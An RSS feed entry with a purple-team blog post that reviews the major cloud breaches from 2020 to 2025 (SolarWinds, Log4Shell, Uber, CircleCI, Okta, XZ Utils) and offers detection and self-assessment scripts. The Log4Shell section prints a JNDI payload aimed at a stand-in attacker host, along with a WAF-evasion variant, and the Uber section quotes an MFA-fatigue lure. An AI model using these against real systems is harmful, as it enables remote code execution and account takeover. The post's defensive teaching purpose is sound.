<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Threat Intelligence Archives - Linuxcent</title>
	<atom:link href="https://linuxcent.com/tag/threat-intelligence/feed/" rel="self" type="application/rss+xml" />
	<link>https://linuxcent.com/tag/threat-intelligence/</link>
	<description>Infrastructure security, from the kernel up.</description>
	<lastBuildDate>Sat, 09 May 2026 18:41:57 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.0.4</generator>

<image>
	<url>https://linuxcent.com/wp-content/uploads/2026/04/favicon-512x512-1-150x150.png</url>
	<title>Threat Intelligence Archives - Linuxcent</title>
	<link>https://linuxcent.com/tag/threat-intelligence/</link>
	<width>32</width>
	<height>32</height>
</image> 
<site xmlns="com-wordpress:feed-additions:1">211632295</site>	<item>
		<title>Cloud Security Breaches 2020–2025: What Actually Got Exploited</title>
		<link>https://linuxcent.com/cloud-security-breaches-2020-2025/</link>
					<comments>https://linuxcent.com/cloud-security-breaches-2020-2025/#respond</comments>
		
		<dc:creator><![CDATA[Vamshi Krishna Santhapuri]]></dc:creator>
		<pubDate>Wed, 27 May 2026 02:00:00 +0000</pubDate>
				<category><![CDATA[Purple Team]]></category>
		<category><![CDATA[Cloud Security]]></category>
		<category><![CDATA[Log4Shell]]></category>
		<category><![CDATA[Security Breaches]]></category>
		<category><![CDATA[SolarWinds]]></category>
		<category><![CDATA[Threat Intelligence]]></category>
		<category><![CDATA[XZ Utils]]></category>
		<guid isPermaLink="false">https://linuxcent.com/?p=1849</guid>

					<description><![CDATA[<p><span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span>What actually got exploited in cloud security breaches from 2020 to 2025 — SolarWinds to XZ Utils. Identity, supply chain, and misconfiguration: every major breach is one of three.</p>
<p>The post <a href="https://linuxcent.com/cloud-security-breaches-2020-2025/">Cloud Security Breaches 2020–2025: What Actually Got Exploited</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></description>
										<content:encoded><![CDATA[<span class="span-reading-time rt-reading-time" style="display: block;"><span class="rt-label rt-prefix">Reading Time: </span> <span class="rt-time"> 11</span> <span class="rt-label rt-postfix">minutes</span></span><style>
pre{position:relative;background:#1e1e1e;color:#d4d4d4;
    padding:16px 16px 16px 20px;border-radius:6px;overflow-x:auto;
    font-family:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,'Courier New',monospace;
    font-size:.88em;line-height:1.6;border-left:4px solid #555}
code{background:#f4f4f4;padding:2px 5px;border-radius:3px;font-size:.9em}
pre code{background:transparent;padding:0;color:inherit}
pre[data-lang="bash"],pre[data-lang="sh"],
pre[data-lang="shell"],pre[data-lang="zsh"]{border-left-color:#4ec9b0}
pre[data-lang="yaml"],pre[data-lang="json"],
pre[data-lang="toml"],pre[data-lang="xml"]{border-left-color:#569cd6}
pre[data-lang="python"],pre[data-lang="go"],pre[data-lang="rust"],
pre[data-lang="java"],pre[data-lang="c"],pre[data-lang="cpp"]{border-left-color:#c586c0}
pre[data-lang="text"],pre[data-lang="output"],
pre[data-lang="console"]{border-left-color:#888}
.lc-copy-btn{position:absolute;top:8px;right:8px;background:#2d2d2d;color:#ccc;
    border:1px solid #444;border-radius:4px;padding:3px 9px;font-size:.75em;
    font-family:system-ui,sans-serif;cursor:pointer;opacity:0;
    transition:opacity .15s,background .15s;line-height:1.6}
pre:hover .lc-copy-btn{opacity:1}
.lc-copy-btn:hover{background:#3a3a3a;color:#fff}
.lc-copy-btn.copied{color:#4ec9b0;border-color:#4ec9b0}
.lc-lang-badge{position:absolute;top:8px;left:20px;font-family:system-ui,sans-serif;
    font-size:.7em;color:#666;text-transform:uppercase;letter-spacing:.04em;
    line-height:1;pointer-events:none;opacity:0;transition:opacity .15s}
pre:hover .lc-lang-badge{opacity:1}
table{border-collapse:collapse;width:100%;margin:16px 0}
th,td{border:1px solid #ddd;padding:10px 14px;text-align:left}
th{background:#f0f0f0;font-weight:600}
tr:nth-child(even){background:#fafafa}
</style>
<p><script>
(function(){
  if(window.__lcCodeEnhanced)return;
  window.__lcCodeEnhanced=true;
  function enhance(){
    document.querySelectorAll('pre').forEach(function(pre){
      var code=pre.querySelector('code');
      var lang='';
      if(code){var m=(code.className||'').match(/language-(\S+)/);if(m)lang=m[1].toLowerCase();}
      if(lang)pre.setAttribute('data-lang',lang);
      if(lang){var badge=document.createElement('span');badge.className='lc-lang-badge';badge.textContent=lang;pre.insertBefore(badge,pre.firstChild);}
      var btn=document.createElement('button');
      btn.className='lc-copy-btn';btn.textContent='Copy';btn.setAttribute('aria-label','Copy code to clipboard');
      pre.appendChild(btn);
      btn.addEventListener('click',function(){
        var text=code?code.innerText:pre.innerText;
        if(navigator.clipboard&&window.isSecureContext){
          navigator.clipboard.writeText(text).then(function(){ok(btn);}).catch(function(){fb(text,btn);});
        }else{fb(text,btn);}
      });
    });
  }
  function ok(btn){btn.textContent='Copied!';btn.classList.add('copied');setTimeout(function(){btn.textContent='Copy';btn.classList.remove('copied');},2000);}
  function fb(text,btn){
    try{var ta=document.createElement('textarea');ta.value=text;ta.style.cssText='position:fixed;left:-9999px;top:-9999px;opacity:0';document.body.appendChild(ta);ta.select();document.execCommand('copy');document.body.removeChild(ta);ok(btn);}
    catch(e){btn.textContent='✗ Failed';setTimeout(function(){btn.textContent='Copy';},2000);}
  }
  if(document.readyState==='loading'){document.addEventListener('DOMContentLoaded',enhance);}else{enhance();}
})();
</script></p>
<p><a href="/what-is-purple-team-security/">What is purple team security</a> → <a href="/owasp-top-10-cloud-infrastructure/">OWASP Top 10 mapped to cloud infrastructure</a> → <strong>Cloud security breaches 2020–2025</strong></p>
<hr />
<h2 id="tldr">TL;DR</h2>
<ul>
<li><strong>Cloud security breaches from 2020 to 2025</strong> cluster into three root causes: identity compromise, supply chain compromise, and misconfiguration — every major incident falls into at least one</li>
<li>SolarWinds (Dec 2020): build pipeline compromise — attacker signed malware with a legitimate cert (A08)</li>
<li>Log4Shell (Dec 2021): injection in a logging library present in millions of Java apps (A03)</li>
<li>Uber (Sep 2022): MFA fatigue against a contractor → hardcoded admin creds on internal share (A07 + A02)</li>
<li>CircleCI (Jan 2023): session token stolen from an engineer&#8217;s laptop → CI/CD secrets exfiltrated (A07 + A08)</li>
<li>Okta (Oct 2023): support system access via stolen credentials → customer tenant data exposed (A07)</li>
<li>XZ Utils (Apr 2024): 2-year social engineering campaign → backdoor in release tarball (A08 + A06)</li>
<li>The attack surface does not change — only the specific vector within each category</li>
</ul>
<hr />
<blockquote>
<p><strong>OWASP Mapping:</strong> This episode is cross-category — A01 through A10 all appear. Each breach is annotated with its primary OWASP mapping.</p>
</blockquote>
<hr />
<h2 id="the-big-picture">The Big Picture</h2>
<pre><code class="" data-line="">┌────────────────────────────────────────────────────────────────────┐
│           2020–2025 BREACH TIMELINE                                │
│                                                                    │
│  Dec 2020    Dec 2021    Sep 2022    Jan 2023    Oct 2023  Apr 2024 │
│     │            │           │           │           │        │    │
│     ▼            ▼           ▼           ▼           ▼        ▼    │
│  Solar-      Log4Shell     Uber       CircleCI     Okta    XZ Utils│
│  Winds                                                             │
│                                                                    │
│  ══════════════════════════════════════════════════════════        │
│                                                                    │
│  Root Cause Categories (3 total):                                  │
│                                                                    │
│  SUPPLY CHAIN          IDENTITY               MISCONFIGURATION     │
│  SolarWinds            Uber                   Capital One (2019)   │
│  XZ Utils              Okta                   CircleCI (partial)   │
│  Log4Shell (partial)   CircleCI (initial)                          │
│                                                                    │
│  OWASP Primaries:                                                  │
│  A08 → A07 → A07 → A07/A08 → A07 → A08/A06                       │
│                                                                    │
└────────────────────────────────────────────────────────────────────┘
</code></pre>
<p>The <strong>cloud security breaches from 2020 to 2025</strong> reveal a consistent pattern: attackers are not finding new classes of vulnerability. They are exploiting the same three root causes — identity, supply chain, misconfiguration — in different combinations against different technology stacks.</p>
<hr />
<h2 id="why-these-breaches-are-the-curriculum">Why These Breaches Are the Curriculum</h2>
<p>Every episode in this series from EP04 onward takes a specific attack path from these incidents and walks through the simulation, detection, and fix. You cannot understand the fix without understanding the breach mechanics. And you cannot understand why your detection didn&#8217;t fire without knowing what the attacker actually did.</p>
<p>This episode is the reference. When EP05 covers MFA fatigue, it builds on the Uber anatomy here. When EP09 covers XZ Utils, the supply chain mechanics here are the foundation.</p>
<hr />
<h2 id="december-2020-solarwinds-supply-chain-at-scale">December 2020: SolarWinds — Supply Chain at Scale</h2>
<p><strong>OWASP: A08 (Software and Data Integrity Failures)</strong></p>
<p>SolarWinds is the incident that defined supply chain attacks for the decade. The attacker — attributed to Russia&#8217;s SVR — compromised the build environment for SolarWinds Orion IT monitoring software in early 2020. They inserted a backdoor called SUNBURST into the software build pipeline.</p>
<p>The mechanics:</p>
<pre><code class="" data-line="">Normal build pipeline:
  Source code → Build system → Sign with SolarWinds cert → Distribute → Customer installs

Compromised pipeline (SolarWinds):
  Source code → Build system → [SUNBURST injected here] → Sign with SolarWinds cert → Distribute → 18,000 customers install
</code></pre>
<p>SUNBURST was signed with SolarWinds&#8217; legitimate Authenticode certificate. It passed signature verification. It was distributed through the normal software update mechanism. Customers with automatic updates installed it because the update was signed by a trusted vendor.</p>
<p>The backdoor remained dormant for 12–14 days after installation before activating. It used DGA (domain generation algorithm) to contact C2 infrastructure, disguising traffic as Orion telemetry. After the initial beaconing period, the attacker manually selected targets from the 18,000 infected environments.</p>
<p><strong>Confirmed affected organizations:</strong> US Treasury, US Commerce Department, FireEye, Microsoft, Intel, Deloitte.</p>
<p><strong>What a detection would have looked like:</strong><br />
&#8211; Unexpected outbound DNS queries to <code class="" data-line="">avsvmcloud.com</code> subdomains<br />
&#8211; Orion software making network connections outside its normal profile<br />
&#8211; New scheduled tasks or service modifications by the Orion process</p>
<p><strong>The structural failure:</strong> The build system was not isolated, not monitored for unexpected behavior, and the build process itself was not reproducible from source. A reproducible build would have made the SUNBURST injection detectable — the build output would not match the source.</p>
<hr />
<h2 id="december-2021-log4shell-injection-in-a-logging-library">December 2021: Log4Shell — Injection in a Logging Library</h2>
<p><strong>OWASP: A03 (Injection), A06 (Vulnerable and Outdated Components)</strong></p>
<p>Log4Shell (CVE-2021-44228) is the closest thing to a universal vulnerability that existed in the 2020s. Log4j 2.x was embedded in thousands of Java applications — not as a direct dependency but as a transitive dependency, often several layers deep in the dependency tree. Developers frequently didn&#8217;t know they were running it.</p>
<p>The vulnerability: Log4j evaluated JNDI (Java Naming and Directory Interface) lookups embedded in logged strings. Any input that ended up in a log message could trigger a JNDI lookup:</p>
<pre><code class="" data-line="">${jndi:ldap://attacker.com/exploit}

# Log4j evaluates the expression, makes LDAP request to attacker.com
# Attacker&#039;s LDAP server responds with a Java class
# Log4j loads and executes the class
# Result: remote code execution
</code></pre>
<p>The attack was trivial to launch and extremely difficult to fully enumerate exposure for — because Log4j was present as a transitive dependency in components that teams didn&#8217;t know they owned.</p>
<p><strong>What made it particularly bad for cloud infrastructure:</strong><br />
&#8211; Lambda functions, ECS containers, EKS workloads, and Elastic Beanstalk apps all potentially affected<br />
&#8211; WAFs were initially bypassed with encoding variants (<code class="" data-line="">${${lower:j}ndi:...}</code>)<br />
&#8211; The vulnerable class wasn&#8217;t in the primary JAR — it was in <code class="" data-line="">log4j-core</code>, which appeared as an indirect dependency</p>
<pre><code class="" data-line=""># Find Java applications that might include log4j (rough scan — requires access to filesystems)
find / -name &quot;log4j*.jar&quot; -o -name &quot;log4j-core*.jar&quot; 2&gt;/dev/null

# In a Kubernetes context — check running container images for log4j
kubectl get pods -A -o json | \
  jq -r &#039;.items[].spec.containers[].image&#039; | \
  sort -u
# Then scan each image: trivy image --severity CRITICAL &lt;image&gt;
</code></pre>
<p><strong>The fix was patching</strong> — upgrading Log4j to 2.17.0+. The mitigation was <code class="" data-line="">log4j2.formatMsgNoLookups=true</code> or removing the JndiLookup class from the classpath. Neither mitigation addressed the root cause of having an outdated component with critical CVE.</p>
<hr />
<h2 id="september-2022-uber-mfa-fatigue-meets-hardcoded-credentials">September 2022: Uber — MFA Fatigue Meets Hardcoded Credentials</h2>
<p><strong>OWASP: A07 (Identification and Authentication Failures), A02 (Cryptographic Failures)</strong></p>
<p>The Uber breach is a clean illustration of attack chaining: one authentication failure enables discovery of a second authentication failure.</p>
<p><strong>Minute-by-minute anatomy:</strong></p>
<ol>
<li>Attacker purchases Uber contractor credentials on a criminal marketplace (or phishes them directly)</li>
<li>Contractor has MFA enrolled — Duo push notifications</li>
<li>Attacker initiates login repeatedly, triggering Duo push notifications to contractor&#8217;s phone</li>
<li>Contractor rejects 3–4 push notifications</li>
<li>Attacker sends WhatsApp message to contractor&#8217;s phone: &#8220;Hi, this is IT support. We&#8217;re having an issue with your account. Please accept the next Duo notification.&#8221;</li>
<li>Contractor accepts</li>
<li>Attacker is in</li>
</ol>
<p>From inside the Uber network, the attacker found a network share accessible to contractors. On that share: a PowerShell script. In that script: hardcoded admin credentials for Thycotic, Uber&#8217;s privileged access management (PAM) system.</p>
<p>With Thycotic admin access, the attacker retrieved credentials for: AWS, GCP, GSuite, VMware, Slack, HackerOne. Full internal access.</p>
<p><strong>The two failures:</strong><br />
&#8211; A07: Push-notification MFA that can be defeated by social engineering + fatigue<br />
&#8211; A02: Admin credentials in a plaintext PowerShell script on a network share</p>
<pre><code class="" data-line=""># Detect MFA fatigue attempts in Okta logs (if Okta is the IdP)
# Query: multiple MFA push rejections followed by acceptance within short window
# In Okta System Log API:
curl -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  &quot;https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\&quot;user.authentication.auth_via_mfa\&quot;&amp;since=2024-01-01T00:00:00Z&quot; | \
  jq &#039;[.[] | select(.outcome.result == &quot;FAILURE&quot;)] | group_by(.actor.id) | map({user: .[0].actor.displayName, failures: length}) | sort_by(.failures) | reverse | .[0:10]&#039;
</code></pre>
<p><strong>The structural fix for MFA fatigue is not user training.</strong> It is replacing push-notification MFA with phishing-resistant MFA: FIDO2 hardware keys (YubiKey) or passkeys. A hardware key requires physical presence — a WhatsApp message cannot convince a hardware key to authenticate.</p>
<hr />
<h2 id="january-2023-circleci-session-token-theft-and-secret-exfiltration">January 2023: CircleCI — Session Token Theft and Secret Exfiltration</h2>
<p><strong>OWASP: A07 (Authentication Failures), A08 (Software and Data Integrity Failures)</strong></p>
<p>CircleCI disclosed in January 2023 that an attacker had accessed customer data — specifically, environment variables, tokens, and keys stored by customers in CircleCI&#8217;s secret storage.</p>
<p><strong>The attack chain:</strong></p>
<ol>
<li>Malware on a CircleCI engineer&#8217;s laptop stole a 2FA-backed SSO session token</li>
<li>The session token was valid and not yet expired — no MFA re-challenge for the session</li>
<li>Attacker used the session token to access CircleCI&#8217;s internal systems</li>
<li>From internal systems, attacker accessed the production database containing encrypted customer secrets</li>
<li>The encryption keys were also accessible — attacker obtained both</li>
</ol>
<p>The attack did not break encryption. It circumvented encryption by accessing the keys through internal systems that the compromised session token could reach.</p>
<p><strong>What customers stored in CircleCI that was exposed:</strong><br />
&#8211; AWS IAM access keys and secret keys<br />
&#8211; GitHub tokens<br />
&#8211; DockerHub credentials<br />
&#8211; SSH private keys<br />
&#8211; API tokens for third-party services</p>
<p><strong>The scale:</strong> CircleCI could not enumerate which customer secrets were accessed — they notified all customers with environment variables stored in the system.</p>
<pre><code class="" data-line=""># After a CI/CD platform breach: rotate all credentials that were stored there
# Start with AWS credentials — find and disable exposed access keys

# List all IAM access keys
aws iam list-users --query &#039;Users[].UserName&#039; --output text | \
  tr &#039;\t&#039; &#039;\n&#039; | \
  while read user; do
    aws iam list-access-keys --user-name &quot;$user&quot; \
      --query &quot;AccessKeyMetadata[].{User:&#039;$user&#039;,Key:AccessKeyId,Status:Status,Created:CreateDate}&quot; \
      --output table
  done

# Disable a specific access key
aws iam update-access-key \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive \
  --user-name affected-user
</code></pre>
<p><strong>The structural lesson:</strong> Secrets stored in a CI/CD platform are only as secure as that platform&#8217;s internal access controls and the endpoint security of the engineers who access it. The alternative — short-lived credentials via OIDC workload identity — means no long-lived secrets exist to exfiltrate.</p>
<hr />
<h2 id="october-2023-okta-support-system-compromise">October 2023: Okta — Support System Compromise</h2>
<p><strong>OWASP: A07 (Identification and Authentication Failures)</strong></p>
<p>Okta is the identity provider for thousands of organizations. An attacker who compromises Okta&#8217;s support system gains access to customer identity configurations.</p>
<p>In October 2023, Okta disclosed that an attacker had accessed their customer support case management system using stolen credentials. The attacker used that access to view HTTP Archive (HAR) files that customers had uploaded as part of support tickets. HAR files capture all network traffic in a browser session — including session cookies and authentication tokens.</p>
<p><strong>What the attacker retrieved from HAR files:</strong><br />
&#8211; Active session tokens for customer Okta admin accounts<br />
&#8211; Enough data to authenticate as Okta admins for affected customers</p>
<p><strong>Confirmed affected customers (that disclosed publicly):</strong><br />
&#8211; 1Password (detected and contained quickly)<br />
&#8211; Cloudflare<br />
&#8211; BeyondTrust</p>
<p><strong>The dwell time:</strong> Okta&#8217;s later forensic analysis revealed the attacker had access for two weeks before the disclosure.</p>
<pre><code class="" data-line=""># Check Okta System Log for suspicious admin activity
# Look for admin authentications from unusual IPs or at unusual times
curl -H &quot;Authorization: SSWS ${OKTA_API_TOKEN}&quot; \
  &quot;https://your-org.okta.com/api/v1/logs?filter=eventType+eq+\&quot;user.session.start\&quot;+and+actor.type+eq+\&quot;User\&quot;&amp;since=$(date -d &#039;30 days ago&#039; --iso-8601=seconds)&quot; | \
  jq &#039;.[] | {user: .actor.displayName, ip: .client.ipAddress, time: .published, result: .outcome.result}&#039;
</code></pre>
<p><strong>The structural implication for organizations using Okta:</strong> Tier-0 accounts (Okta administrators) need break-glass procedures and hardware key MFA — not because Okta itself will be compromised, but because a support system compromise at a SaaS provider can expose session context that reaches those accounts.</p>
<hr />
<h2 id="april-2024-xz-utils-two-years-of-social-engineering">April 2024: XZ Utils — Two Years of Social Engineering</h2>
<p><strong>OWASP: A08 (Software and Data Integrity Failures), A06 (Vulnerable and Outdated Components)</strong></p>
<p>XZ Utils (CVE-2024-3094) is the most sophisticated supply chain attack to date in the open-source ecosystem. The attacker operated under the pseudonym &#8220;Jia Tan&#8221; and spent approximately two years building trust in the XZ Utils project before inserting a backdoor.</p>
<p><strong>The timeline:</strong></p>
<pre><code class="" data-line="">2022 Q4 — Jia Tan begins contributing to XZ Utils with legitimate, high-quality patches
2023 Q1 — Jia Tan increases contribution frequency; original maintainer shows signs of burnout
2023 Q2 — Jia Tan gains commit access to XZ Utils
2024 Q1 — Jia Tan releases XZ Utils 5.6.0 and 5.6.1 with backdoor in release tarball
          (NOT in git repository — only in the distributed tarball)
2024 Q2 — Andres Freund (Microsoft engineer, incidentally) notices SSH is 500ms slower
          on systems with xz 5.6.x; investigates; finds backdoor
          Reported April 1, 2024; CVE assigned April 2, 2024
</code></pre>
<p><strong>The backdoor&#8217;s target:</strong> The backdoor patched <code class="" data-line="">sshd</code> via <code class="" data-line="">systemd</code> on <code class="" data-line="">glibc</code>-based Linux systems. On affected systems, it would have given the attacker remote code execution on SSH servers — specifically, authentication bypass for a specific RSA key pair held by the attacker.</p>
<p><strong>What was 1–2 weeks from shipping broadly:</strong><br />
&#8211; Fedora 40 (test release only — caught before stable)<br />
&#8211; Debian unstable/testing<br />
&#8211; openSUSE Tumbleweed</p>
<p><strong>The detection insight:</strong> The backdoor was in the release tarball, not the git repository. <code class="" data-line="">git clone</code> and <code class="" data-line="">git diff</code> would not have shown it. The only detection was comparing the distributed tarball&#8217;s build output against a reproducible build from source — or noticing the anomalous SSH latency.</p>
<pre><code class="" data-line=""># Check if your systems have the affected xz version
xz --version
# Vulnerable: 5.6.0 or 5.6.1

# Check on RPM-based systems
rpm -q xz

# Check on Debian/Ubuntu systems
dpkg -l xz-utils

# Check for sshd linked against compromised libzma
ldd $(which sshd) | grep liblzma
# If libzma is present and xz is 5.6.0 or 5.6.1, the system was exposed
</code></pre>
<hr />
<h2 id="the-three-root-causes-a-framework-for-your-exercise-backlog">The Three Root Causes: A Framework for Your Exercise Backlog</h2>
<p>After analyzing these six incidents (and the broader 2020–2025 breach landscape), three root causes account for virtually every major cloud infrastructure compromise:</p>
<pre><code class="" data-line="">┌─────────────────────────────────────────────────────────────────┐
│                                                                 │
│  ROOT CAUSE 1: IDENTITY                                         │
│  Attacker obtains valid credentials — stolen, phished,          │
│  or socially engineered. MFA does not stop it if MFA            │
│  itself can be bypassed (fatigue, SIM swap, token theft).       │
│  Incidents: Uber, Okta, CircleCI (initial vector)               │
│                                                                 │
│  ROOT CAUSE 2: SUPPLY CHAIN                                     │
│  Attacker compromises something you trust: a vendor&#039;s           │
│  software, a build pipeline, an open-source dependency.         │
│  The artifact you install is legitimate — and malicious.        │
│  Incidents: SolarWinds, XZ Utils, Log4Shell (component)         │
│                                                                 │
│  ROOT CAUSE 3: MISCONFIGURATION                                  │
│  An access control is wrong. A resource is exposed that         │
│  shouldn&#039;t be. An encryption requirement is missing.            │
│  No attacker capability required — just knowledge of the gap.   │
│  Incidents: Capital One (S3 + IAM), public buckets broadly      │
│                                                                 │
└─────────────────────────────────────────────────────────────────┘
</code></pre>
<p>Your purple team exercise backlog should cover all three. The remaining episodes in this series address each one:</p>
<ul>
<li><strong>Identity:</strong> EP05 (MFA fatigue), EP10 (cross-account lateral movement)</li>
<li><strong>Supply chain:</strong> EP06 (CI/CD secrets), EP09 (SolarWinds to XZ Utils)</li>
<li><strong>Misconfiguration:</strong> EP04 (broken access control in AWS), EP07 (SSRF/IMDS), EP08 (container escape)</li>
</ul>
<hr />
<h2 id="run-this-in-your-own-environment-breach-scenario-self-assessment">Run This in Your Own Environment: Breach Scenario Self-Assessment</h2>
<p>Before starting the technique-specific episodes, run this self-assessment to identify which breach scenario your environment is most exposed to:</p>
<pre><code class="" data-line="">#!/bin/bash
# Purple Team EP03 — Breach Exposure Self-Assessment

echo &quot;=== IDENTITY EXPOSURE ===&quot;
echo &quot;--- Users with console access and no MFA ---&quot;
aws iam generate-credential-report &gt; /dev/null 2&gt;&amp;1 &amp;&amp; sleep 3
aws iam get-credential-report --query &#039;Content&#039; --output text | \
  base64 -d | awk -F&#039;,&#039; &#039;NR&gt;1 &amp;&amp; $4==&quot;true&quot; &amp;&amp; $8==&quot;false&quot; {print &quot;  NO MFA: &quot; $1}&#039;

echo &quot;&quot;
echo &quot;=== SUPPLY CHAIN EXPOSURE ===&quot;
echo &quot;--- Lambda functions with old runtimes (EOL = higher CVE exposure) ---&quot;
aws lambda list-functions \
  --query &#039;Functions[?Runtime==`python3.8` || Runtime==`nodejs14.x` || Runtime==`java8`].{Name:FunctionName,Runtime:Runtime}&#039; \
  --output table

echo &quot;&quot;
echo &quot;=== MISCONFIGURATION EXPOSURE ===&quot;
echo &quot;--- S3 buckets without account-level public access block ---&quot;
ACCOUNT=$(aws sts get-caller-identity --query Account --output text)
PAB=$(aws s3control get-public-access-block --account-id &quot;$ACCOUNT&quot; 2&gt;/dev/null)
if [ -z &quot;$PAB&quot; ]; then
  echo &quot;  CRITICAL: Account-level S3 public access block is NOT set&quot;
else
  echo &quot;$PAB&quot; | jq &#039;{BlockPublicAcls, IgnorePublicAcls, BlockPublicPolicy, RestrictPublicBuckets}&#039;
fi

echo &quot;&quot;
echo &quot;--- EC2 instances with IMDSv1 enabled (SSRF risk) ---&quot;
aws ec2 describe-instances \
  --query &#039;Reservations[].Instances[?MetadataOptions.HttpTokens!=`required`].{ID:InstanceId,State:State.Name}&#039; \
  --output table
</code></pre>
<hr />
<h2 id="common-mistakes-when-using-breach-history-as-a-training-resource"><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/26a0.png" alt="⚠" class="wp-smiley" style="height: 1em; max-height: 1em;" /> Common Mistakes When Using Breach History as a Training Resource</h2>
<p><strong>Assuming &#8220;we&#8217;re not SolarWinds&#8221; means supply chain doesn&#8217;t apply.</strong> You don&#8217;t have to be a software vendor. Your GitHub Actions workflows pull third-party actions. Your Dockerfiles pull base images. Your Lambda functions install pip packages. Every external artifact is a supply chain dependency.</p>
<p><strong>Treating Log4Shell as &#8220;old news.&#8221;</strong> The vulnerability was disclosed in 2021. Organizations are still finding Log4j in unexpected places in 2024 — embedded in monitoring agents, database drivers, and vendor-supplied applications where the dependency tree was never audited.</p>
<p><strong>Responding to Uber/Okta by mandating security awareness training.</strong> The Uber breach happened to an experienced contractor who made one decision under social pressure. The structural fix is hardware MFA that cannot be fatigue-attacked — not a training module that adds friction and gets clicked through.</p>
<p><strong>Not correlating your own logs against breach indicators.</strong> Every breach in this episode produced specific, searchable indicators: specific CloudTrail event patterns, specific process behaviors, specific network anomalies. If you have historical logs, you can run indicators of compromise against them to see whether your environment would have surfaced those indicators.</p>
<hr />
<h2 id="quick-reference">Quick Reference</h2>
<table>
<thead>
<tr>
<th>Breach</th>
<th>Year</th>
<th>OWASP Primary</th>
<th>Root Cause</th>
<th>Structural Fix</th>
</tr>
</thead>
<tbody>
<tr>
<td>SolarWinds</td>
<td>2020</td>
<td>A08</td>
<td>Supply chain — build pipeline compromise</td>
<td>Reproducible builds, build system isolation</td>
</tr>
<tr>
<td>Log4Shell</td>
<td>2021</td>
<td>A03, A06</td>
<td>Injection + vulnerable component</td>
<td>Patch + dependency inventory</td>
</tr>
<tr>
<td>Uber</td>
<td>2022</td>
<td>A07, A02</td>
<td>Identity — MFA fatigue + hardcoded creds</td>
<td>Hardware MFA + no hardcoded secrets</td>
</tr>
<tr>
<td>CircleCI</td>
<td>2023</td>
<td>A07, A08</td>
<td>Identity — session token theft → CI secret theft</td>
<td>OIDC short-lived creds instead of stored secrets</td>
</tr>
<tr>
<td>Okta</td>
<td>2023</td>
<td>A07</td>
<td>Identity — support system compromise → token theft</td>
<td>Hardware MFA for tier-0, session token rotation</td>
</tr>
<tr>
<td>XZ Utils</td>
<td>2024</td>
<td>A08, A06</td>
<td>Supply chain — social engineering → maintainer trust</td>
<td>Reproducible builds, artifact signing, SLSA</td>
</tr>
</tbody>
</table>
<hr />
<h2 id="key-takeaways">Key Takeaways</h2>
<ul>
<li><strong>Cloud security breaches from 2020 to 2025</strong> cluster into three root causes: identity compromise, supply chain compromise, and misconfiguration — every major incident is one or more of these</li>
<li>SolarWinds and XZ Utils are the same attack class: compromise the build pipeline and sign the result with a trusted key</li>
<li>Uber demonstrates that MFA does not prevent breach when the MFA mechanism is push-notification — fatigue + social engineering defeats it</li>
<li>CircleCI demonstrates that long-lived secrets stored in a CI/CD platform are only as secure as that platform — OIDC short-lived credentials eliminate the exposure</li>
<li>Log4Shell demonstrates that vulnerable transitive dependencies are invisible without active dependency scanning — &#8220;we didn&#8217;t use Log4j&#8221; was wrong for thousands of organizations</li>
<li>The attack surface does not change: the same three root causes that caused SolarWinds in 2020 caused XZ Utils in 2024</li>
<li>Your purple team exercise backlog should include at least one scenario for each of the three root causes</li>
</ul>
<hr />
<h2 id="whats-next">What&#8217;s Next</h2>
<p>EP04 starts the technique-specific episodes with broken access control in AWS — the most common OWASP A01 manifestation in cloud infrastructure. The exercise scenario: an S3 bucket with 47 million records, public for six months, with no alert ever firing. We simulate it, detect it, and fix the IAM and S3 configuration so it cannot happen in your account. If you want the full context for <a href="/aws-iam-privilege-escalation-passrole/">AWS IAM privilege escalation paths</a> that broken access control enables, the IAM series EP08 covers that attack chain in detail.</p>
<p>Get EP04 in your inbox when it publishes → <a href="#subscribe">subscribe at linuxcent.com</a></p>
<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fcloud-security-breaches-2020-2025%2F&amp;linkname=Cloud%20Security%20Breaches%202020%E2%80%932025%3A%20What%20Actually%20Got%20Exploited" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" 